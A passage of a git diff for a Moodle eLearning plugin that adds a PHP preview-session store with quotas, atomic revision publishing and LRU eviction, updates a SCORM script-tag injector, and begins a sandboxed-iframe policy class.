+            'maxfilespersession' => self::limitof('maxfilespersession'),
+            'maxbytespersession' => self::limitof('maxbytespersession'),
+            'maxassetbytes' => self::limitof('maxassetbytes'),
+            'globalmaxbytes' => self::limitof('globalmaxbytes'),
+        ];
+    }
+
+    /**
+     * The effective value of a single limit (test override, else the constant).
+     *
+     * @param string $key
+     * @return int
+     */
+    private static function limitof(string $key): int {
+        if (array_key_exists($key, self::$limitoverrides)) {
+            return self::$limitoverrides[$key];
+        }
+        $constants = [
+            'ttl' => self::TTL_SECONDS,
+            'maxsessionsperuser' => self::MAX_SESSIONS_PER_USER,
+            'maxfilespersession' => self::MAX_FILES_PER_SESSION,
+            'maxbytespersession' => self::MAX_BYTES_PER_SESSION,
+            'maxassetbytes' => self::MAX_ASSET_BYTES,
+            'globalmaxbytes' => self::GLOBAL_MAX_BYTES,
+        ];
+        return $constants[$key];
+    }
+
+    /**
+     * On-disk basename for a document served at $path.
+     *
+     * @param string $path Normalized served path.
+     * @return string
+     */
+    public static function doc_basename(string $path): string {
+        return 'doc_' . sha1($path);
+    }
+
+    /**
+     * On-disk basename for an asset addressed by $key.
+     *
+     * @param string $key assetKey.
+     * @return string
+     */
+    public static function asset_basename(string $key): string {
+        return 'asset_' . sha1($key);
+    }
+
+    // Session lifecycle.
+
+    /**
+     * Create a session for $owneruserid and return its previewId. Enforces the
+     * per-user session cap and the global byte ceiling by LRU-evicting first.
+     *
+     * @param int $owneruserid
+     * @return string The server-minted previewId (UUID).
+     */
+    public static function create_session(int $owneruserid): string {
+        $base = self::ensure_base_dir();
+        self::evict_for_new_session($owneruserid);
+
+        do {
+            $previewid = \core\uuid::generate();
+        } while (is_dir($base . '/' . $previewid));
+
+        $dir = $base . '/' . $previewid;
+        self::make_dir($dir);
+        self::make_dir($dir . '/assets');
+        self::make_dir($dir . '/revisions');
+        self::write_json($dir . '/meta.json', [
+            'owneruserid' => $owneruserid,
+            'createdat' => time(),
+            'assetbytes' => 0,
+            'documentbytes' => 0,
+        ]);
+        self::write_json($dir . '/assets/index.json', []);
+        touch($dir . '/access');
+        return $previewid;
+    }
+
+    /**
+     * Load a session by previewId without any auth or TTL check (internal).
+     *
+     * @param string $previewid
+     * @return preview_session|null
+     */
+    private static function load(string $previewid): ?preview_session {
+        if (!preg_match(serving::UUID_RE, $previewid)) {
+            return null;
+        }
+        $dir = self::base_dir_path() . '/' . $previewid;
+        if (!is_dir($dir)) {
+            return null;
+        }
+        $meta = self::read_json($dir . '/meta.json');
+        if (!is_array($meta) || !isset($meta['owneruserid'])) {
+            return null;
+        }
+        $revision = self::read_current($dir);
+        return new preview_session(
+            $previewid,
+            (int) $meta['owneruserid'],
+            $dir,
+            $revision,
+            (int) ($meta['assetbytes'] ?? 0),
+            (int) ($meta['documentbytes'] ?? 0)
+        );
+    }
+
+    /**
+     * Owner-scoped lookup for the management API: 404 when missing/expired, 403
+     * when owned by someone else, otherwise the session (TTL clock touched).
+     *
+     * @param string $previewid
+     * @param int $owneruserid
+     * @return array{status:int,session:preview_session|null}
+     */
+    public static function get_owned(string $previewid, int $owneruserid): array {
+        $session = self::load($previewid);
+        if ($session === null) {
+            return ['status' => 404, 'session' => null];
+        }
+        if (self::is_expired($session->dir())) {
+            self::delete_session($previewid);
+            return ['status' => 404, 'session' => null];
+        }
+        if ($session->owneruserid !== $owneruserid) {
+            return ['status' => 403, 'session' => null];
+        }
+        self::touch_access($session->dir());
+        return ['status' => 200, 'session' => $session];
+    }
+
+    /**
+     * Lookup for the authless serving route: touches the idle-TTL clock, and
+     * opportunistically reaps the session when it has already expired.
+     *
+     * @param string $previewid
+     * @return preview_session|null
+     */
+    public static function get_for_serving(string $previewid): ?preview_session {
+        $session = self::load($previewid);
+        if ($session === null) {
+            return null;
+        }
+        if (self::is_expired($session->dir())) {
+            self::delete_session($previewid);
+            return null;
+        }
+        self::touch_access($session->dir());
+        return $session;
+    }
+
+    /**
+     * Delete a session and its files.
+     *
+     * @param string $previewid
+     * @return bool True when a session directory existed and was removed.
+     */
+    public static function delete_session(string $previewid): bool {
+        if (!preg_match(serving::UUID_RE, $previewid)) {
+            return false;
+        }
+        $dir = self::base_dir_path() . '/' . $previewid;
+        if (!is_dir($dir)) {
+            return false;
+        }
+        remove_dir($dir);
+        return true;
+    }
+
+    /**
+     * Reap every idle-expired session. Called by the scheduled cleanup task.
+     *
+     * @return int Number of sessions swept.
+     */
+    public static function sweep_expired(): int {
+        $swept = 0;
+        foreach (self::enumerate() as $entry) {
+            if (self::is_expired($entry->dir)) {
+                self::delete_session($entry->previewid);
+                $swept++;
+            }
+        }
+        return $swept;
+    }
+
+    // Assets (layer 2).
+
+    /**
+     * Store uploaded assets. Keys are immutable: an existing key is reported in
+     * alreadyStored and its bytes are NOT replaced (a replaced author file gets
+     * a new key because its content hash changed). Per-entry failures land in
+     * rejected with a reason. Runs under the per-session lock so the index and
+     * meta stay consistent under concurrent uploads.
+     *
+     * @param preview_session $session
+     * @param array $entries Upload entries, each ['key'=>string,'declaredsize'=>int,'bytes'=>string].
+     * @return array{stored:string[],alreadyStored:string[],rejected:array<int,array{key:string,reason:string}>}
+     */
+    public static function store_assets(preview_session $session, array $entries): array {
+        $stored = [];
+        $alreadystored = [];
+        $rejected = [];
+
+        $lock = self::acquire_lock($session->previewid);
+        try {
+            $dir = $session->dir();
+            $meta = self::read_json($dir . '/meta.json');
+            $index = self::read_json($dir . '/assets/index.json');
+            $assetbytes = (int) ($meta['assetbytes'] ?? 0);
+            $documentbytes = (int) ($meta['documentbytes'] ?? 0);
+
+            // Global-ceiling snapshot, scanned at most ONCE per batch. enumerate()
+            // is O(sessions on disk); calling it per entry made an M-asset upload
+            // O(M × sessions). Take the snapshot lazily on the first entry that
+            // reaches the global check, then evict from (and mutate) it in place
+            // for the rest of the batch — never re-enumerating.
+            $others = null;
+            $otherstotal = 0;
+
+            foreach ($entries as $entry) {
+                $key = $entry['key'] ?? '';
+                if (!preg_match(self::ASSET_KEY_RE, $key)) {
+                    $rejected[] = ['key' => $key, 'reason' => 'invalid-key'];
+                    continue;
+                }
+                if (array_key_exists($key, $index)) {
+                    $alreadystored[] = $key;
+                    continue;
+                }
+                $len = strlen($entry['bytes']);
+                if ($entry['declaredsize'] !== $len) {
+                    $rejected[] = ['key' => $key, 'reason' => 'size-mismatch'];
+                    continue;
+                }
+                if ($len > self::limitof('maxassetbytes')) {
+                    $rejected[] = ['key' => $key, 'reason' => 'asset-too-large'];
+                    continue;
+                }
+                if ($documentbytes + $assetbytes + $len > self::limitof('maxbytespersession')) {
+                    $rejected[] = ['key' => $key, 'reason' => 'session-budget-exceeded'];
+                    continue;
+                }
+                if ($others === null) {
+                    [$others, $otherstotal] = self::snapshot_other_sessions($session->previewid);
+                }
+                if (!self::fit_under_global_ceiling($assetbytes + $documentbytes, $len, $others, $otherstotal)) {
+                    $rejected[] = ['key' => $key, 'reason' => 'global-budget-exceeded'];
+                    continue;
+                }
+                // The key is indexed (and its bytes counted) ONLY once the write
+                // durably succeeds: a failed or short write must never leave a
+                // dangling index entry that a later revision would treat as a
+                // present asset (and then 404 at serve time). The @ mirrors the
+                // store's other file ops and keeps a warning off the JSON response.
+                $written = @file_put_contents($dir . '/assets/' . self::asset_basename($key), $entry['bytes'], LOCK_EX);
+                if ($written === false || $written !== $len) {
+                    $rejected[] = ['key' => $key, 'reason' => 'write-failed'];
+                    continue;
+                }
+                $index[$key] = $len;
+                $assetbytes += $len;
+                $stored[] = $key;
+            }
+
+            $meta['assetbytes'] = $assetbytes;
+            self::write_json($dir . '/meta.json', $meta);
+            self::write_json($dir . '/assets/index.json', $index);
+        } finally {
+            $lock->release();
+        }
+
+        return ['stored' => $stored, 'alreadyStored' => $alreadystored, 'rejected' => $rejected];
+    }
+
+    // Revisions (layer 3 publication).
+
+    /**
+     * Publish a revision. Validation order per the contract: revision check (409)
+     * → path normalization (400) → asset existence (422) → fixed-resource
+     * existence (422) → file-count / byte budgets (413). The new document set is
+     * staged and then published by an atomic pointer swap, so a concurrent GET
+     * observes revision N or N+1 in full, never a mixture, and a failed apply
+     * leaves the active revision completely intact.
+     *
+     * @param preview_session $session
+     * @param array $meta Keys: baserevision(int), nextrevision(int), deletes(string[]), assetrefs(map), fixedrefs(map).
+     * @param array $bufferedwrites Buffered writes, each ['path'=>string,'bytes'=>string].
+     * @return array Result: {revision,active} | {status,currentrevision|reason|missing|resources|message}
+     */
+    public static function apply_revision(preview_session $session, array $meta, array $bufferedwrites): array {
+        $lock = self::acquire_lock($session->previewid);
+        try {
+            $dir = $session->dir();
+            $active = self::read_current($dir);
+
+            // 1. Revision ordering.
+            if ($meta['baserevision'] !== $active || $meta['nextrevision'] !== $active + 1) {
+                return ['status' => 409, 'currentrevision' => $active];
+            }
+            $next = $meta['nextrevision'];
+
+            // 2. Normalize every client-supplied path.
+            $writes = [];
+            foreach ($bufferedwrites as $write) {
+                $normalized = serving::normalize_content_path($write['path']);
+                if ($normalized === null) {
+                    return ['status' => 400, 'message' => 'Unsafe path in writes: ' . $write['path']];
+                }
+                $writes[$normalized] = $write['bytes'];
+            }
+            $deletes = [];
+            foreach ($meta['deletes'] as $rawpath) {
+                $normalized = serving::normalize_content_path($rawpath);
+                if ($normalized === null) {
+                    return ['status' => 400, 'message' => 'Unsafe path in deletes: ' . $rawpath];
+                }
+                $deletes[] = $normalized;
+            }
+            $assetrefs = [];
+            foreach ($meta['assetrefs'] as $rawpath => $key) {
+                $normalized = serving::normalize_content_path($rawpath);
+                if ($normalized === null) {
+                    return ['status' => 400, 'message' => 'Unsafe path in assetRefs: ' . $rawpath];
+                }
+                $assetrefs[$normalized] = $key;
+            }
+            $fixedrefs = [];
+            foreach ($meta['fixedrefs'] as $rawpath => $id) {
+                $normalized = serving::normalize_content_path($rawpath);
+                if ($normalized === null) {
+                    return ['status' => 400, 'message' => 'Unsafe path in fixedRefs: ' . $rawpath];
+                }
+                $fixedrefs[$normalized] = $id;
+            }
+
+            // 3. Every referenced asset must exist in the session store.
+            $index = self::read_json($dir . '/assets/index.json');
+            $missing = [];
+            foreach (array_unique(array_values($assetrefs)) as $key) {
+                if (!array_key_exists($key, $index)) {
+                    $missing[] = $key;
+                }
+            }
+            if (!empty($missing)) {
+                return ['status' => 422, 'reason' => 'missing-assets', 'missing' => array_values($missing)];
+            }
+
+            // 4. Every referenced fixed resource must be manifest-listed.
+            $unknown = [];
+            foreach (array_unique(array_values($fixedrefs)) as $id) {
+                if (!fixed_resources::has_resource($id)) {
+                    $unknown[] = $id;
+                }
+            }
+            if (!empty($unknown)) {
+                return ['status' => 422, 'reason' => 'unknown-fixed-resources', 'resources' => array_values($unknown)];
+            }
+
+            // 5. Budgets, computed on the post-delta document set (deletes then writes).
+            $prevdocs = ($active > 0) ? self::read_revision_documents($dir, $active) : [];
+            $newdocs = $prevdocs;
+            foreach ($deletes as $del) {
+                unset($newdocs[$del]);
+            }
+            foreach ($writes as $path => $bytes) {
+                $newdocs[$path] = strlen($bytes);
+            }
+            $documentbytes = array_sum($newdocs);
+            $filecount = count($newdocs) + count($assetrefs) + count($fixedrefs);
+            $metadata = self::read_json($dir . '/meta.json');
+            $assetbytes = (int) ($metadata['assetbytes'] ?? 0);
+            $priordocumentbytes = (int) ($metadata['documentbytes'] ?? 0);
+            if ($filecount > self::limitof('maxfilespersession')) {
+                return ['status' => 413, 'message' => 'Too many files (max ' . self::limitof('maxfilespersession') . ')'];
+            }
+            if ($documentbytes + $assetbytes > self::limitof('maxbytespersession')) {
+                return ['status' => 413, 'message' => 'Session over byte budget'];
+            }
+            $bytedelta = $documentbytes - $priordocumentbytes;
+            $priorbytes = $assetbytes + $priordocumentbytes;
+            if ($bytedelta > 0 && !self::evict_others_for_budget($session->previewid, $priorbytes, $bytedelta)) {
+                return ['status' => 413, 'message' => 'Preview storage budget exceeded'];
+            }
+
+            // 6. Stage the full document set for the new revision, then publish
+            // it with an atomic pointer swap. A write failure while staging aborts
+            // BEFORE the swap, so the active revision is left completely intact.
+            if (!self::publish_revision($dir, $active, $next, $newdocs, $writes, $assetrefs, $fixedrefs)) {
+                return ['status' => 500, 'message' => 'Failed to persist the preview revision'];
+            }
+            $metadata['documentbytes'] = $documentbytes;
+            self::write_json($dir . '/meta.json', $metadata);
+
+            return ['revision' => $next, 'active' => true];
+        } finally {
+            $lock->release();
+        }
+    }
+
+    /**
+     * Materialize the new revision's document set in revisions/{next} (copying
+     * unchanged documents forward from revisions/{active}, writing changed ones
+     * from the buffered payload), then flip the `current` pointer atomically and
+     * prune superseded revisions.
+     *
+     * @param string $dir Session directory.
+     * @param int $active Currently active revision.
+     * @param int $next New revision number.
+     * @param array $newdocs Full document set, path => size.
+     * @param array $writes Changed documents, path => bytes.
+     * @param array $assetrefs Full asset-ref map, served path => assetKey.
+     * @param array $fixedrefs Full fixed-ref map, served path => fixedResourceId.
+     * @return bool True on success; false when a staging write/copy failed (the
+     *              staged revision is discarded and the `current` pointer is left
+     *              untouched, so the active revision stays intact).
+     */
+    private static function publish_revision(
+        string $dir,
+        int $active,
+        int $next,
+        array $newdocs,
+        array $writes,
+        array $assetrefs,
+        array $fixedrefs
+    ): bool {
+        $revdir = $dir . '/revisions/' . $next;
+        // Remove any stale artifact from a previously failed attempt at $next.
+        if (is_dir($revdir)) {
+            remove_dir($revdir);
+        }
+        self::make_dir($revdir);
+
+        // Materialize the full document set. A failed or short write (disk full,
+        // read-only volume, a collision) must abort the publish BEFORE the pointer
+        // swap — otherwise the revision would go live with a truncated or missing
+        // document that serves as a blank 404, silently corrupting the preview.
+        foreach ($newdocs as $path => $size) {
+            $target = $revdir . '/' . self::doc_basename($path);
+            if (array_key_exists($path, $writes)) {
+                $bytes = $writes[$path];
+                $written = @file_put_contents($target, $bytes, LOCK_EX);
+                if ($written === false || $written !== strlen($bytes)) {
+                    self::discard_staged_revision($revdir);
+                    return false;
+                }
+            } else {
+                $source = $dir . '/revisions/' . $active . '/' . self::doc_basename($path);
+                if (!@copy($source, $target)) {
+                    self::discard_staged_revision($revdir);
+                    return false;
+                }
+            }
+        }
+        // The manifest is checked like the documents: a revision published with a
+        // missing or truncated revision.json has no document map, so every path
+        // 404s — a broken published state. A failure here also aborts before the
+        // swap, leaving the active revision intact.
+        $manifestjson = json_encode([
+            'revision' => $next,
+            'documents' => $newdocs,
+            'assetrefs' => $assetrefs,
+            'fixedrefs' => $fixedrefs,
+        ]);
+        $writtenmanifest = @file_put_contents($revdir . '/revision.json', $manifestjson, LOCK_EX);
+        if ($writtenmanifest === false || $writtenmanifest !== strlen($manifestjson)) {
+            self::discard_staged_revision($revdir);
+            return false;
+        }
+
+        // Atomic pointer swap: a GET reads `current` once and serves from the
+        // immutable revision directory it names.
+        self::write_pointer($dir . '/current', (string) $next);
+
+        // Keep only the active and the just-superseded revisions so an in-flight
+        // GET that read the previous pointer can still complete.
+        foreach (self::list_revision_numbers($dir) as $number) {
+            if ($number < $next - 1) {
+                remove_dir($dir . '/revisions/' . $number);
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Discard a staged (not-yet-published) revision directory after a write
+     * failure. The `current` pointer is never touched here, so the active
+     * revision is unaffected and no partial revision can be observed.
+     *
+     * @param string $revdir The staged revision directory.
+     */
+    private static function discard_staged_revision(string $revdir): void {
+        if (is_dir($revdir)) {
+            remove_dir($revdir);
+        }
+    }
+
+    // Eviction (per-user cap + global ceiling).
+
+    /**
+     * Enforce the per-user session cap and the global byte ceiling before a new
+     * session is created, LRU-evicting whole sessions as needed.
+     *
+     * @param int $owneruserid
+     */
+    private static function evict_for_new_session(int $owneruserid): void {
+        $sessions = self::enumerate();
+
+        // Per-user cap: drop the owner's least-recently-accessed session(s).
+        $owned = array_values(array_filter($sessions, function ($s) use ($owneruserid) {
+            return $s->owneruserid === $owneruserid;
+        }));
+        while (count($owned) >= self::limitof('maxsessionsperuser')) {
+            $lru = self::lru_of($owned);
+            self::delete_session($lru->previewid);
+            $owned = array_values(array_filter($owned, function ($s) use ($lru) {
+                return $s->previewid !== $lru->previewid;
+            }));
+            $sessions = array_values(array_filter($sessions, function ($s) use ($lru) {
+                return $s->previewid !== $lru->previewid;
+            }));
+        }
+
+        // Global ceiling: evict the least-recently-accessed session(s) overall.
+        $total = array_sum(array_map(function ($s) {
+            return $s->bytes;
+        }, $sessions));
+        while ($total > self::limitof('globalmaxbytes') && !empty($sessions)) {
+            $lru = self::lru_of($sessions);
+            self::delete_session($lru->previewid);
+            $total -= $lru->bytes;
+            $sessions = array_values(array_filter($sessions, function ($s) use ($lru) {
+                return $s->previewid !== $lru->previewid;
+            }));
+        }
+    }
+
+    /**
+     * Evict other sessions (never $currentid) in LRU order until $incoming bytes
+     * fits under the global ceiling. Returns false when it cannot fit even after
+     * evicting every other session.
+     *
+     * @param string $currentid The session that must be preserved.
+     * @param int $currentbytes Bytes the current session already holds.
+     * @param int $incoming Additional bytes to accommodate.
+     * @return bool
+     */
+    private static function evict_others_for_budget(string $currentid, int $currentbytes, int $incoming): bool {
+        [$others, $otherstotal] = self::snapshot_other_sessions($currentid);
+        return self::fit_under_global_ceiling($currentbytes, $incoming, $others, $otherstotal);
+    }
+
+    /**
+     * Snapshot every session except $currentid with ONE full-store enumerate,
+     * returning the list (LRU-orderable) and the sum of their bytes. Callers reuse
+     * one snapshot across a whole asset batch so the global-ceiling check stays
+     * O(sessions) per batch instead of O(entries × sessions).
+     *
+     * @param string $currentid The session to exclude (never evicted).
+     * @return array{0:array<int,\stdClass>,1:int} [others, sum-of-their-bytes]
+     */
+    private static function snapshot_other_sessions(string $currentid): array {
+        $others = array_values(array_filter(self::enumerate(), function ($s) use ($currentid) {
+            return $s->previewid !== $currentid;
+        }));
+        $total = array_sum(array_map(function ($s) {
+            return $s->bytes;
+        }, $others));
+        return [$others, $total];
+    }
+
+    /**
+     * Fit $incoming bytes under the global ceiling by LRU-evicting other sessions
+     * from a pre-built snapshot, mutating both $others and $otherstotal in place
+     * (never re-enumerating). Returns false when it cannot fit even after evicting
+     * every other session.
+     *
+     * @param int $currentbytes Bytes the current session already holds.
+     * @param int $incoming Additional bytes to accommodate.
+     * @param array $others Snapshot of the other sessions; evicted entries are removed.
+     * @param int $otherstotal Sum of $others bytes; decremented as sessions are evicted.
+     * @return bool
+     */
+    private static function fit_under_global_ceiling(
+        int $currentbytes,
+        int $incoming,
+        array &$others,
+        int &$otherstotal
+    ): bool {
+        while ($currentbytes + $otherstotal + $incoming > self::limitof('globalmaxbytes')) {
+            if (empty($others)) {
+                return false;
+            }
+            $lru = self::lru_of($others);
+            self::delete_session($lru->previewid);
+            $otherstotal -= $lru->bytes;
+            $others = array_values(array_filter($others, function ($s) use ($lru) {
+                return $s->previewid !== $lru->previewid;
+            }));
+        }
+        return true;
+    }
+
+    /**
+     * The session with the oldest access time among $candidates.
+     *
+     * @param array $candidates Session stdClass records to choose the LRU from.
+     * @return \stdClass
+     */
+    private static function lru_of(array $candidates): \stdClass {
+        $lru = null;
+        foreach ($candidates as $candidate) {
+            if ($lru === null || $candidate->lastaccess < $lru->lastaccess) {
+                $lru = $candidate;
+            }
+        }
+        return $lru;
+    }
+
+    /**
+     * Enumerate every stored session (diagnostics for eviction and the sweeper).
+     *
+     * @return array<int,\stdClass> Objects with {previewid, dir, owneruserid, lastaccess, bytes}.
+     */
+    private static function enumerate(): array {
+        self::$enumeratecount++;
+        $base = self::base_dir_path();
+        if (!is_dir($base)) {
+            return [];
+        }
+        $result = [];
+        foreach (scandir($base) as $entry) {
+            if ($entry === '.' || $entry === '..' || !preg_match(serving::UUID_RE, $entry)) {
+                continue;
+            }
+            $dir = $base . '/' . $entry;
+            if (!is_dir($dir)) {
+                continue;
+            }
+            $meta = self::read_json($dir . '/meta.json');
+            if (!is_array($meta) || !isset($meta['owneruserid'])) {
+                continue;
+            }
+            $accessfile = $dir . '/access';
+            $item = new \stdClass();
+            $item->previewid = $entry;
+            $item->dir = $dir;
+            $item->owneruserid = (int) $meta['owneruserid'];
+            $item->lastaccess = is_file($accessfile) ? (int) filemtime($accessfile) : 0;
+            $item->bytes = (int) ($meta['assetbytes'] ?? 0) + (int) ($meta['documentbytes'] ?? 0);
+            $result[] = $item;
+        }
+        return $result;
+    }
+
+    // Filesystem helpers.
+
+    /**
+     * Storage-root path (no creation): the test override or the tempdir subtree.
+     *
+     * @return string
+     */
+    private static function base_dir_path(): string {
+        global $CFG;
+        if (self::$rootoverride !== null) {
+            return self::$rootoverride;
+        }
+        return $CFG->tempdir . '/mod_exelearning/preview-sessions';
+    }
+
+    /**
+     * Ensure the storage root exists and return it.
+     *
+     * @return string
+     */
+    private static function ensure_base_dir(): string {
+        if (self::$rootoverride !== null) {
+            self::make_dir(self::$rootoverride);
+            return self::$rootoverride;
+        }
+        return make_temp_directory('mod_exelearning/preview-sessions');
+    }
+
+    /**
+     * Create a directory (recursively) if it does not already exist.
+     *
+     * @param string $dir
+     */
+    private static function make_dir(string $dir): void {
+        global $CFG;
+        if (!is_dir($dir)) {
+            mkdir($dir, $CFG->directorypermissions ?? 0777, true);
+        }
+    }
+
+    /**
+     * Whether the session at $dir has exceeded the idle TTL.
+     *
+     * @param string $dir
+     * @return bool
+     */
+    private static function is_expired(string $dir): bool {
+        $accessfile = $dir . '/access';
+        if (!is_file($accessfile)) {
+            return true;
+        }
+        return (time() - (int) filemtime($accessfile)) > self::limitof('ttl');
+    }
+
+    /**
+     * Touch the idle-TTL clock for the session at $dir.
+     *
+     * @param string $dir
+     */
+    private static function touch_access(string $dir): void {
+        touch($dir . '/access');
+    }
+
+    /**
+     * Read the active revision number from the `current` pointer (0 when absent).
+     *
+     * @param string $dir
+     * @return int
+     */
+    private static function read_current(string $dir): int {
+        $pointer = $dir . '/current';
+        if (!is_file($pointer)) {
+            return 0;
+        }
+        return (int) trim((string) @file_get_contents($pointer));
+    }
+
+    /**
+     * Read a revision's document map (path → size).
+     *
+     * @param string $dir
+     * @param int $revision
+     * @return array<string,int>
+     */
+    private static function read_revision_documents(string $dir, int $revision): array {
+        $parsed = self::read_json($dir . '/revisions/' . $revision . '/revision.json');
+        return (is_array($parsed) && isset($parsed['documents']) && is_array($parsed['documents']))
+            ? $parsed['documents'] : [];
+    }
+
+    /**
+     * List every published revision number under a session directory.
+     *
+     * @param string $dir
+     * @return int[]
+     */
+    private static function list_revision_numbers(string $dir): array {
+        $revisions = $dir . '/revisions';
+        if (!is_dir($revisions)) {
+            return [];
+        }
+        $numbers = [];
+        foreach (scandir($revisions) as $entry) {
+            if (ctype_digit($entry)) {
+                $numbers[] = (int) $entry;
+            }
+        }
+        return $numbers;
+    }
+
+    /**
+     * Read and JSON-decode a file (associative), or [] when unreadable.
+     *
+     * @param string $path
+     * @return array
+     */
+    private static function read_json(string $path): array {
+        $json = @file_get_contents($path);
+        if ($json === false) {
+            return [];
+        }
+        $parsed = json_decode($json, true);
+        return is_array($parsed) ? $parsed : [];
+    }
+
+    /**
+     * JSON-encode and write a file (exclusive lock).
+     *
+     * @param string $path
+     * @param array $data
+     */
+    private static function write_json(string $path, array $data): void {
+        file_put_contents($path, json_encode($data), LOCK_EX);
+    }
+
+    /**
+     * Write the `current` pointer atomically (write-temp then rename).
+     *
+     * @param string $path
+     * @param string $value
+     */
+    private static function write_pointer(string $path, string $value): void {
+        $tmp = $path . '.tmp.' . random_string(8);
+        file_put_contents($tmp, $value, LOCK_EX);
+        rename($tmp, $path);
+    }
+
+    /**
+     * Acquire the per-session mutation lock.
+     *
+     * @param string $previewid
+     * @return \core\lock\lock
+     * @throws \moodle_exception When the lock cannot be acquired.
+     */
+    private static function acquire_lock(string $previewid): \core\lock\lock {
+        $factory = \core\lock\lock_config::get_lock_factory(self::LOCK_TYPE);
+        $lock = $factory->get_lock('preview_' . $previewid, self::LOCK_TIMEOUT);
+        if ($lock === false) {
+            throw new \moodle_exception('previewsessionbusy', 'mod_exelearning');
+        }
+        return $lock;
+    }
+}
diff --git a/classes/local/scorm/scorm_injector.php b/classes/local/scorm/scorm_injector.php
index 7a477ce..259ba6a 100644
--- a/classes/local/scorm/scorm_injector.php
+++ b/classes/local/scorm/scorm_injector.php
@@ -33,15 +33,24 @@
  */
 final class scorm_injector {
     /**
-     * Injects SCORM wrapper script tags into the <head> of index.html and all
+     * Injects the SCORM client script tags into the <head> of index.html and all
      * html/<slug>.html pages of the extracted package.
      *
+     * Two independent, idempotent blocks are injected:
+     *  - The bridge client (libs/scorm_tracker.js + libs/exe_scorm_bridge.js) at the
+     *    TOP of <head>, so its in-memory storage polyfill and local window.API are in
+     *    place before any package script runs. It self-activates only in the secure
+     *    opaque-origin iframe mode and is dormant otherwise (DEC-0059).
+     *  - The pipwerks SCORM wrapper (libs/SCORM_API_wrapper.js + libs/SCOFunctions.js)
+     *    plus an init kick, just before </head>, used by both iframe modes.
+     *
      * @param int $contextid
      * @param int $revision
      */
     public static function inject(int $contextid, int $revision): void {
         $fs = get_file_storage();
         $marker = '<!-- mod_exelearning:scorm-loader -->';
+        $bridgemarker = '<!-- mod_exelearning:scorm-bridge -->';
         // After loading the wrapper, force `pipwerks.SCORM.init()` so that
         // connection.isActive=true and subsequent `set()` calls DO reach
         // window.parent.API.LMSSetValue. eXeLearning only invokes init() in the
@@ -57,14 +66,7 @@ public static function inject(int $contextid, int $revision): void {
                 "        }, 50);\n" .
                 "      })();\n" .
                 "    </script>\n";
-        $tags = $marker .
-                "\n    <script src=\"libs/SCORM_API_wrapper.js\"></script>" .
-                "\n    <script src=\"libs/SCOFunctions.js\"></script>" .
-                $initscript;
-        $tagshtml = $marker .
-                "\n    <script src=\"../libs/SCORM_API_wrapper.js\"></script>" .
-                "\n    <script src=\"../libs/SCOFunctions.js\"></script>" .
-                $initscript;
+        $embedmarker = '<!-- mod_exelearning:embed-shim -->';
 
         // Iterate over all HTML files in the filearea.
         $files = $fs->get_area_files(
@@ -84,14 +86,55 @@ public static function inject(int $contextid, int $revision): void {
                 continue;
             }
             $html = $file->get_content();
-            if ($html === '' || strpos($html, $marker) !== false) {
+            if ($html === '') {
                 continue;
             }
+            // Relative prefix to the package's libs/ dir: root pages use 'libs/', nested
+            // html/<slug>.html pages climb one level with '../libs/'.
             $path = $file->get_filepath();
-            $payload = ($path === '/') ? $tags : $tagshtml;
-            // Insert just before </head> (case-insensitive).
-            $newhtml = preg_replace('~</head>~i', $payload . '</head>', $html, 1);
-            if ($newhtml === null || $newhtml === $html) {
+            $libs = ($path === '/') ? 'libs/' : '../libs/';
+            $newhtml = $html;
+            $changed = false;
+
+            // Script payloads, built once per file from $libs. The bridge client
+            // (scorm_tracker.js before exe_scorm_bridge.js: the shim calls
+            // window.exeScormTracker.createScormApi) and the external-embed shim both go
+            // at the TOP of <head>; the pipwerks SCORM wrapper + init kick go just before
+            // </head>. No host list is baked for the embed shim: it promotes any candidate
+            // and the parent relay is the authoritative gate (open vs strict, DEC-0061).
+            $bridge = $bridgemarker .
+                    "\n    <script src=\"{$libs}scorm_tracker.js\"></script>" .
+                    "\n    <script src=\"{$libs}exe_scorm_bridge.js\"></script>\n";
+            $embed = $embedmarker .
+                    "\n    <script src=\"{$libs}exe_embed_shim.js\"></script>\n";
+            $scorm = $marker .
+                    "\n    <script src=\"{$libs}SCORM_API_wrapper.js\"></script>" .
+                    "\n    <script src=\"{$libs}SCOFunctions.js\"></script>" .
+                    $initscript;
+
+            // Idempotent <head> insertions, applied in order so each one matches against
+            // the HTML already modified by the previous (e.g. the embed insert sees the
+            // bridge-modified <head>). Each fires at most once, guarded by its own marker.
+            // Entry = [marker, payload, anchor regex, top?]: top appends the payload AFTER
+            // the matched <head> tag, otherwise it is prepended BEFORE the matched </head>.
+            $inserts = [
+                [$bridgemarker, $bridge, '~<head[^>]*>~i', true],
+                [$embedmarker, $embed, '~<head[^>]*>~i', true],
+                [$marker, $scorm, '~</head>~i', false],
+            ];
+            foreach ($inserts as [$mk, $payload, $regex, $top]) {
+                if (strpos($newhtml, $mk) !== false) {
+                    continue;
+                }
+                $replacement = $top ? '$0' . $payload : $payload . '$0';
+                $replaced = preg_replace($regex, $replacement, $newhtml, 1);
+                if ($replaced !== null && $replaced !== $newhtml) {
+                    $newhtml = $replaced;
+                    $changed = true;
+                }
+            }
+
+            if (!$changed) {
                 continue;
             }
             // Replace content in the filearea: delete and recreate.
diff --git a/classes/local/ui/player_iframe.php b/classes/local/ui/player_iframe.php
new file mode 100644
index 0000000..68eda23
--- /dev/null
+++ b/classes/local/ui/player_iframe.php
@@ -0,0 +1,294 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Package iframe security mode and sandbox policy (DEC-0059).
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+namespace mod_exelearning\local\ui;
+
+/**
+ * Centralises the package iframe sandbox policy, CSP and headers (DEC-0059).
+ *
+ * The arbitrary author HTML/JS of an `.elpx` package is always embedded in view.php in a
+ * sandboxed, opaque-origin iframe: the iframe drops allow-same-origin, so the package runs
+ * in an opaque origin and cannot read or modify Moodle's DOM, cookies or session. SCORM
+ * scoring is relayed to the parent over a validated postMessage bridge
